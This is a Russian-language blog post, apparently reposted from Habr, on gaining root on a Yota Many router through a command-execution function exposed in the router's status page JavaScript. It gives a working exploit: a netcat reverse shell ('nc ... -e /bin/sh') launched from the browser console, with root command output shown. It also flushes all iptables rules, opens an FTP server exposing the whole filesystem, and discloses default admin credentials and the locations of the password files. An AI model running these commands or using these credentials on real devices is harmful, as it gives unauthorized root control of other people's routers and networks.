Как Вы думаете, каким минимальным количеством инструментов можно получить SSH-доступ к роутеру Yota Many?
А SSH-доступ с root-правами?
Вы, скорее всего удивитесь, но ответ — двумя, в обоих случаях. Это Ваш браузер и Netcat.
Я очень удивился, когда случайно в списке подключаемых JS-скриптов на странице http://status.yota.ru/
я увидел
этот http://status.yota.ru/js/devControl.js
, а в нём вот такую функцию:
function cmsSystem(s,callback) { if (simulator) { setTimeout(function () { callback(0); },100); return; } var r={}; r.authparam=calcAuthParam(); r.system=s; r.command="system"; $.post( devCtrlUrl, r, callback, "json" ).error(devErrorHandler); }
А использовалась эта функция, в этом же файле, например, так:
cmsSystem( "( killall up_cli ; rm -rf /mnt/jffs2/upload/* ) 1>/dev/null 2>/dev/null", function() { callback(true); } );
Чувствуете чем пахнет?
Да, эта функция выполняла команду в консоли роутера, но вывода результата она не имела (ну, точнее имела, но не совсем результата).
Тогда я решил поступить следующим образом.
Первое, что нам нужно — скачать Netcat(Windows, Unix) и запустить его с параметрами:
nc -n -vv -l -p 5566
Где:
- 5566 — порт на нашем компьютере, на котором Netcat будет ждать соеденения.
Получаем следующее:
listening on [any] 5566 ...
Второе — запустить браузер и перейти в консоль JavaScript (в Google Chrome — F12, вкладка Console) и ввести команду:
cmsSystem("nc 10.0.0.33 5566 -e /bin/sh", null);
Где:
- 10.0.0.33 — IP-адрес выданный Вашему компьютеру роутером.
- 5566 — порт на нашем компьютере, на котором мы ждем подключения.
Через мгновение в нашей консоли мы увидим:
connect to [10.0.0.33] from (UNKNOWN) [10.0.0.2] 48656
После чего смело выполняем команды так, как будто мы это делали по SSH (все команды выполняются от имени root).
id
uid=0(root) gid=0(root)
uname -a
Linux 9615-cdp 3.0.21+ #1 PREEMPT Tue Apr 30 18:09:49 CST 2013 armv7l GNU/Linux
cat /proc/version
Linux version 3.0.21+ (kevin@kevin-android-build-system) (gcc ver1117 (prerelease) (GCC)) #1 PREEMPT Tue Apr 30 18:09:49 CST 2013
cat /proc/cpuinfo
Processor : ARMv7 Processor rev 1 (v7l) BogoMIPS : 274.02 Features : swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 CPU implementer : 0x41 CPU architecture: 7 CPU variant : 0x0 CPU part : 0xc05 CPU revision : 1 Hardware : QCT MSM9615 CDP Revision : 0000 Serial : 0000000000000000
cat /proc/meminfo
MemTotal: 44184 kB MemFree: 2476 kB Buffers: 0 kB Cached: 10108 kB SwapCached: 0 kB Active: 13868 kB Inactive: 4840 kB Active(anon): 8652 kB Inactive(anon): 16 kB Active(file): 5216 kB Inactive(file): 4824 kB Unevictable: 0 kB Mlocked: 0 kB HighTotal: 0 kB HighFree: 0 kB LowTotal: 44184 kB LowFree: 2476 kB SwapTotal: 0 kB SwapFree: 0 kB Dirty: 0 kB Writeback: 0 kB AnonPages: 8616 kB Mapped: 5388 kB Shmem: 68 kB Slab: 16900 kB SReclaimable: 11744 kB SUnreclaim: 5156 kB KernelStack: 1336 kB PageTables: 1216 kB NFS_Unstable: 0 kB Bounce: 0 kB WritebackTmp: 0 kB CommitLimit: 22092 kB Committed_AS: 484816 kB VmallocTotal: 827392 kB VmallocUsed: 301728 kB VmallocChunk: 519164 kB
free -m
total used free shared buffers Mem: 43 40 2 0 0 -/+ buffers: 40 2 Swap: 0 0 0
df -h
Filesystem Size Used Available Use% Mounted on /dev/root 33.6M 30.1M 3.5M 90% / tmpfs 21.6M 52.0K 21.5M 0% /tmp none 21.6M 8.0K 21.6M 0% /dev tmpfs 21.6M 4.0K 21.6M 0% /dev/shm /dev/mtdblock15 44.1M 1.4M 42.7M 3% /mnt/jffs2 /dev/mtdblock10 28.8M 19.9M 8.9M 69% /usr
top
Mem: 41756K used, 2428K free, 0K shrd, 0K buff, 10136K cached CPU: 30.7% usr 23.0% sys 0.0% nic 46.1% idle 0.0% io 0.0% irq 0.0% sirq Load average: 1.01 1.09 1.11 1/167 8372 m PID PPID USER STAT VSZ %MEM CPU %CPU COMMAND 8372 4979 root R 3040 6.8 0 23.0 top 862 1 root S 96700218.3 0 0.0 QCMAP_ConnectionManager /etc/mobil 672 1 root S 86448195.2 0 0.0 /usr/bin/qmuxd 864 1 root S 46288104.5 0 0.0 lte_cm 691 1 root S 44960101.5 0 0.0 /usr/bin/netmgrd -u /etc/udhcpc.d/ 644 1 root S 36400 82.2 0 0.0 qti 4368 1 root S 36384 82.1 0 0.0 /usr/bin/cxmapp 602 1 root S 34588 78.1 0 0.0 /bin/msg_center 540 1 root S 25424 57.4 0 0.0 /sbin/adbd 707 688 root S 20396 46.0 0 0.0 /usr/bin/mbimd 663 1 root S 20212 45.6 0 0.0 /usr/bin/atfwd_daemon 1211 1 root S 18272 41.2 0 0.0 /yota/cgi-bin/wpdaemon.cgi start 775 1 root S 18140 40.9 0 0.0 /bin/user_in_ctl server 657 1 root S 11604 26.2 0 0.0 /usr/bin/diagrebootapp 783 1 root S 9940 22.4 0 0.0 /bin/epd_ctl 1116 1 root S 4992 11.2 0 0.0 lighttpd -f /etc2/lighttpd/lighttp 619 612 root S 4368 9.8 0 0.0 up_cli 4544 1 root S 3908 8.8 0 0.0 hostapd -B /tmp/hostapd1.conf 612 1 root S 3040 6.8 0 0.0 /bin/sh /yota/up_cli_watchdog.sh 4274 1 root S 3040 6.8 0 0.0 /bin/sh /bin/modem_led.sh
iptables -L
Chain INPUT (policy ACCEPT) target prot opt source destination DROP all -- anywhere 10.0.0.0/24 Chain FORWARD (policy ACCEPT) target prot opt source destination DROP all -- anywhere anywhere DROP all -- anywhere 10.0.0.4 Chain OUTPUT (policy ACCEPT) target prot opt source destination
Устройство, мягко говоря, не блещет производительностью.
У меня не получилось поставить что-либо через ipkg, из-за малого количества оперативки и отсутствия SWAP — ipkg постоянно падает с «segmentation fault» (может у меня руки кривые?)
Включаем стандартную админ-панель производителя
Включаем встроенный FTP-сервер
Для начала нам надо почистить iptables:
cmsSystem("iptables -F", null); cmsSystem("iptables -X", null); cmsSystem("iptables -t nat -F", null); cmsSystem("iptables -t nat -X", null); cmsSystem("iptables -t mangle -F", null); cmsSystem("iptables -t mangle -X", null); cmsSystem("iptables -P INPUT ACCEPT", null); cmsSystem("iptables -P FORWARD ACCEPT", null); cmsSystem("iptables -P OUTPUT ACCEPT", null);
После чего перезагрузить роутер:
rebootDevice(null);
Далее включаем FTP-сервер:
cmsSystem("tcpsvd -vE 0.0.0.0 21 ftpd -w /", null);
И любым FTP-клиентом заходим на ftp://10.0.0.1:21/
Идем в /etc2/lighttpd/
и правим lighttpd.conf
, добавляем после $HTTP["host"] == "status.yota.ru" { ... }
вот это:
$HTTP["host"] == "full.yota.ru" { server.document-root = "/www/" }
Идем в /etc/
и правим hosts
, добавляем в конце файла:
10.0.0.1 full.yota.ru
Переходим в браузере по адресу http://full.yota.ru/.
Вводим имя пользователя gemtek
и пароль gemtek0978
(или operator
, пароль operator
).
Наслаждаемся нормальной, не урезанной административной панелью:
Имена пользователей находятся в /mnt/jffs2/conf/user/ui.conf
, пароли в /mnt/jffs2/conf/user/httpasswd.conf
Пароли настоятельно рекомендую изменить!
На этом моё баловство закончилось, но я надеюсь, что в комментариях подскажут как побороть проблемы с ipkg и восстановлением состояния iptables после перезагрузки(которое, кстати, не влияет на FTP сервер).
ссылка на оригинал статьи http://habrahabr.ru/post/192118/
Добавить комментарий